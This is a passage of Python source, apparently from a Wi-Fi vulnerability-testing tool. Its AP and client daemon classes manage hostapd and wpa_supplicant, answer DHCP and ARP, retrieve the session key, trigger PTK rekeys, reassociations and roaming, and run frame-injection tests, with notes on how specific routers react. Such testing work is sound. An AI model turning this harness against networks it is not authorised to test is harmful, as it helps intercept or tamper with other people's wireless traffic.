		req_type = next(opt[1] for opt in p[DHCP].options if isinstance(opt, tuple) and opt[0] == 'message-type')
		if req_type != 3: return

		peerip = self.dhcp.leases[station.get_peermac()]
		log(STATUS, f"Client {station.get_peermac()} with IP {peerip} has connected")
		station.set_ip_addresses(self.arp_sender_ip, peerip)

	def handle_eth(self, p):
		# TODO: Properly handle IPv6 vs DHCP. Why can't we always call station.handle_eth(p)?
		# TODO: Shouldn't we handle ARP in the Station() code instead?

		# Ignore clients not connected to the AP
		clientmac = p[Ether].src
		if not clientmac in self.stations:
			return

		# Let clients get IP addresses
		if not self.options.no_dhcp:
			self.dhcp.reply(p)
		self.arp_sock.reply(p)

		# Monitor DHCP messages to know when a client received an IP address
		station = self.stations[clientmac]
		if not self.options.no_dhcp and not station.obtained_ip:
			self.handle_eth_dhcp(p, station)
		else:
			station.handle_eth(p)

	def add_station(self, clientmac):
		if not clientmac in self.stations:
			station = Station(self, self.apmac, "from-DS")
			self.stations[clientmac] = station

			if self.options.ip and self.options.peerip:
				# XXX should we also override our own IP? Won't match with DHCP router.
				self.dhcp.prealloc_ip(clientmac, self.options.peerip)
				station.set_ip_addresses(self.options.ip, self.options.peerip)

	def handle_wpaspy(self, msg):
		log(DEBUG, "daemon: " + msg)

		if "AP-STA-ASSOCIATING" in msg:
			cmd, clientmac, source = msg.split()
			self.add_station(clientmac)

			log(STATUS, f"Client {clientmac} is connecting")
			station = self.stations[clientmac]
			station.handle_connecting(self.apmac)
			station.set_peermac(clientmac)

			# When in client mode, the scanning operation might interferes with this test.
			# So it must be executed once we are connecting so the channel is stable.
			self.injection_test(clientmac, self.apmac, False)

		elif "EAPOL-TX" in msg:
			cmd, clientmac, payload = msg.split()
			if not clientmac in self.stations:
				log(WARNING, f"Sending EAPOL to unknown client {clientmac}.")
				return
			self.stations[clientmac].handle_eapol_tx(bytes.fromhex(payload), clientmac)

		elif "AP-STA-CONNECTED" in msg:
			cmd, clientmac = msg.split()
			if not clientmac in self.stations:
				log(WARNING, f"Unknown client {clientmac} finished authenticating.")
				return
			self.stations[clientmac].handle_authenticated()

			self.injection_test(clientmac, self.apmac, True)

	def start_daemon(self):
		cmd = ["../hostapd/hostapd", "-i", self.nic_iface, "hostapd.conf"] + log_level2switch(self.options)
		log(STATUS, "Starting hostapd using: " + " ".join(cmd))
		try:
			self.process = subprocess.Popen(cmd)
		except:
			if not os.path.exists("../hostapd/hostapd"):
				log(ERROR, "hostapd executable not found. Did you compile hostapd using ./build.sh?")
			raise

		self.connect_wpaspy()
		self.apmac = get_macaddress(self.nic_iface)

	def configure_daemon(self):
		# Let scapy handle DHCP requests
		self.dhcp = DHCP_sock(sock=self.sock_eth,
						domain='mathyvanhoef.com',
						pool=Net('192.168.100.0/24'),
						network='192.168.100.0/24',
						gw='192.168.100.254',
						renewal_time=600, lease_time=3600)
		# Configure gateway IP: reply to ARP and ping requests
		# XXX Should we still do this? What about --ip and --peerip?
		subprocess.check_output(["ifconfig", self.nic_iface, "192.168.100.254"])

		# Use a dedicated IP address for our ARP ping and replies
		self.arp_sender_ip = self.dhcp.pool.pop()
		self.arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=self.arp_sender_ip, ARP_addr=self.apmac)
		# TODO XXX: This is no longer correct due to --ip and --peerip parameters?
		#log(STATUS, f"Will inject ARP packets using sender IP {self.arp_sender_ip}")

		# When using a separate interface to inject, switch to correct channel
		self.follow_channel()


class Supplicant(Daemon):
	def __init__(self, options):
		super().__init__(options)
		self.station = None
		self.arp_sock = None
		self.dhcp_xid = None
		self.dhcp_offer_frame = False
		self.time_retrans_dhcp = None
		self.time_rekey_req = None

	def get_tk(self, station):
		tk = self.wpaspy_command("GET tk")
		if tk == "none":
			raise Exception("Couldn't retrieve session key of client")
		else:
			return bytes.fromhex(tk)

	def get_ip(self, station):
		if not self.dhcp_offer_frame:
			self.send_dhcp_discover()
		else:
			self.send_dhcp_request(self.dhcp_offer_frame)

		self.time_retrans_dhcp = time.time() + 2.5

	def rekey(self, station):
		# WAG320N: does not work (Broadcom - no reply)
		# MediaTek: starts handshake. But must send Msg2/4 in plaintext! Request optionally in plaintext.
		#	Maybe it's removing the current PTK before a rekey?
		# RT-N10: we get a deauthentication as a reply. Connection is killed.
		# LANCOM: does not work (no reply)
		# Aruba: does not work (no reply)
		# ==> Only reliable way is to configure AP to constantly rekey the PTK, and wait
		#     untill the AP starts a rekey.
		if self.options.rekey_request:
			log(STATUS, "Actively requesting PTK rekey", color="green")
			self.wpaspy_command("KEY_REQUEST 0 1")
			self.time_rekey_req = time.time() + 4
		else:
			log(STATUS, "Client cannot force rekey. Waiting on AP to start PTK rekey.", color="orange")

	def time_tick(self):
		if self.time_retrans_dhcp != None and time.time() > self.time_retrans_dhcp:
			log(WARNING, "Retransmitting DHCP message", color="orange")
			self.get_ip(self)

		if self.time_rekey_req != None and time.time() > self.time_rekey_req:
			self.time_rekey_req = None
			log(ERROR, "Rekey request timed out. Configure AP to periodically renew PTK instead.")
			self.station.stop_test()

		self.station.time_tick()

	def send_dhcp_discover(self):
		if self.dhcp_xid == None:
			self.dhcp_xid = random.randint(0, 2**31)

		rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
		req = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
		req = req/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
		req = req/DHCP(options=[("message-type", "discover"), "end"])

		log(STATUS, f"Sending DHCP discover with XID {self.dhcp_xid}")
		self.station.send_mon(req)

	def send_dhcp_request(self, offer):
		rawmac = bytes.fromhex(self.station.mac.replace(':', ''))
		myip = offer[BOOTP].yiaddr
		sip = offer[BOOTP].siaddr
		xid = offer[BOOTP].xid

		reply = Ether(dst="ff:ff:ff:ff:ff:ff", src=self.station.mac)/IP(src="0.0.0.0", dst="255.255.255.255")
		reply = reply/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=self.dhcp_xid)
		reply = reply/DHCP(options=[("message-type", "request"), ("requested_addr", myip),
					    ("hostname", "fragclient"), "end"])

		log(STATUS, f"Sending DHCP request with XID {self.dhcp_xid}")
		self.station.send_mon(reply)

	def handle_eth_dhcp(self, p):
		"""Handle packets needed to connect and request an IP"""
		if not DHCP in p: return

		req_type = next(opt[1] for opt in p[DHCP].options if isinstance(opt, tuple) and opt[0] == 'message-type')

		# DHCP Offer
		if req_type == 2:
			log(STATUS, "Received DHCP offer, sending DHCP request.")
			self.send_dhcp_request(p)
			self.dhcp_offer_frame = p

		# DHCP Ack
		elif req_type == 5:
			clientip = p[BOOTP].yiaddr
			serverip = p[IP].src
			self.time_retrans_dhcp = None
			log(STATUS, f"Received DHCP ack. My ip is {clientip} and router is {serverip}.", color="green")

			self.initialize_peermac(p.src)
			self.initialize_ips(clientip, serverip)

	def initialize_peermac(self, peermac):
		if peermac != self.station.bss:
			log(STATUS, f"Will now use peer MAC address {peermac} instead of the BSS {self.station.bss}.")
		self.station.set_peermac(peermac)

	def initialize_ips(self, clientip, serverip):
		self.arp_sock = ARP_sock(sock=self.sock_eth, IP_addr=clientip, ARP_addr=self.station.mac)
		self.station.set_ip_addresses(clientip, serverip)

	def handle_eth(self, p):
		if BOOTP in p and p[BOOTP].xid == self.dhcp_xid:
			self.handle_eth_dhcp(p)
		else:
			# Assume any EAPOL reply means rekey request worked (this isn't 100% accurate but should do)
			if EAPOL in p:
				self.time_rekey_req = None

			if self.arp_sock != None:
				self.arp_sock.reply(p)
			self.station.handle_eth(p)

	def handle_wpaspy(self, msg):
		log(DEBUG, "daemon: " + msg)

		if "Associated with" in msg:
			# When using a separate interface to inject, switch to correct channel
			self.follow_channel()

			p = re.compile("Associated with (.*)")
			bss = p.search(msg).group(1)
			self.station.handle_connecting(bss)

			# With the ath9k_htc, injection in mixed managed/monitor only works after
			# sending the association request. So only perform injection test now.
			self.injection_test(self.station.bss, self.station.mac, False)

		elif "EAPOL-TX" in msg:
			cmd, dstmac, payload = msg.split()
			self.station.handle_eapol_tx(bytes.fromhex(payload), dstmac)

		# The "EAPOL processing" event only occurs with WEP
		if "WPA: Key negotiation completed with" in msg or \
		   "WPA: EAPOL processing complete" in msg:
			# This get's the current keys
			self.station.handle_authenticated()

			self.injection_test(self.station.bss, self.station.mac, True)

	def roam(self, station):
		log(STATUS, "Roaming to the current AP.", color="green")
		self.wpaspy_command("SET reassoc_same_bss_optim 0")
		self.wpaspy_command("ROAM " + station.bss)

	def reconnect(self, station):
		log(STATUS, "Reconnecting to the AP.", color="green")

		# Optimize reassoc-to-same-BSS by default. This makes the "REASSOCIATE" command skip
		# the authentication phase (reducing the chance that packet queues are reset).
		optim = "0" if self.options.full_reconnect else "1"

		self.wpaspy_command(f"SET reassoc_same_bss_optim {optim}")
		self.wpaspy_command("REASSOCIATE")

	def configure_daemon(self):
		# If the user already supplied IPs we can immediately perform tests
		if self.options.ip and self.options.peerip:
			self.initialize_ips(self.options.ip, self.options.peerip)

		self.wpaspy_command("ENABLE_NETWORK all")

	def start_daemon(self):
		cmd = ["../wpa_supplicant/wpa_supplicant", "-Dnl80211", "-i", self.nic_iface,
			"-cclient.conf", "-W"] + log_level2switch(self.options)
		log(STATUS, "Starting wpa_supplicant using: " + " ".join(cmd))
		try:
			self.process = subprocess.Popen(cmd)
		except:
			if not os.path.exists("../wpa_supplicant/wpa_supplicant"):
				log(ERROR, "wpa_supplicant executable not found. Did you compile wpa_supplicant using ./build.sh?")
			raise

		self.connect_wpaspy()
		self.wpaspy_command("DISABLE_NETWORK all")

		clientmac = scapy.arch.get_if_hwaddr(self.nic_iface)
		self.station = Station(self, clientmac, "to-DS")